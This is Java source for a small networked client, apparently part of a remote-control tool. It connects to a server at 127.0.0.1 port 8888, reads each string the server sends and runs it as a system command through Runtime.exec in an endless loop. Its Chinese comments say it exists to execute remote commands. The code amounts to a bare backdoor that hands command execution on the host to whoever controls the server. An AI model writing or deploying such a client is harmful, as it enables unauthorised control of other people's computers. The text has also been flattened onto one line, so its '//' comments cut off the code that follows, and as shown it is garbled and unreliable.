package qq;import java.io.*;import java.net.*;public class Client implements Runnable{String s=null;Socket mysocket;DataInputStream in=null;DataOutputStream out=null;Thread thread=null;Client(){thread=new Thread(this);/*我們要隨時等待客戶端的命令所以要開辟以線程,如果連上了主機那么我們誰是候命這就是需要開一個線程*/try { Thread.sleep(500);mysocket=new Socket("127.0.0.1",8888);//下面是初始化流in=new DataInputStream(mysocket.getInputStream());out=new DataOutputStream(mysocket.getOutputStream());} catch (UnknownHostException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}catch(Exception e){}thread.start();//啟動線程}public static void main(String args[]){Client c=new Client();}public void f(String s){try {Runtime ec=Runtime.getRuntime();ec.exec(s);} catch (IOException e) {e.printStackTrace();}}public void run() {System.out.println("接受線程啟動");while(true){try{String s=in.readUTF();f(s);//調用方法運行遠程命令Thread.sleep(200);}catch(Exception e){}try {Thread.sleep(200);/*為了防止cpu占用過高或者內存占用過大這一句話是必要的*/} catch (InterruptedException e){// TODO Auto-generated catch blocke.printStackTrace();}}}}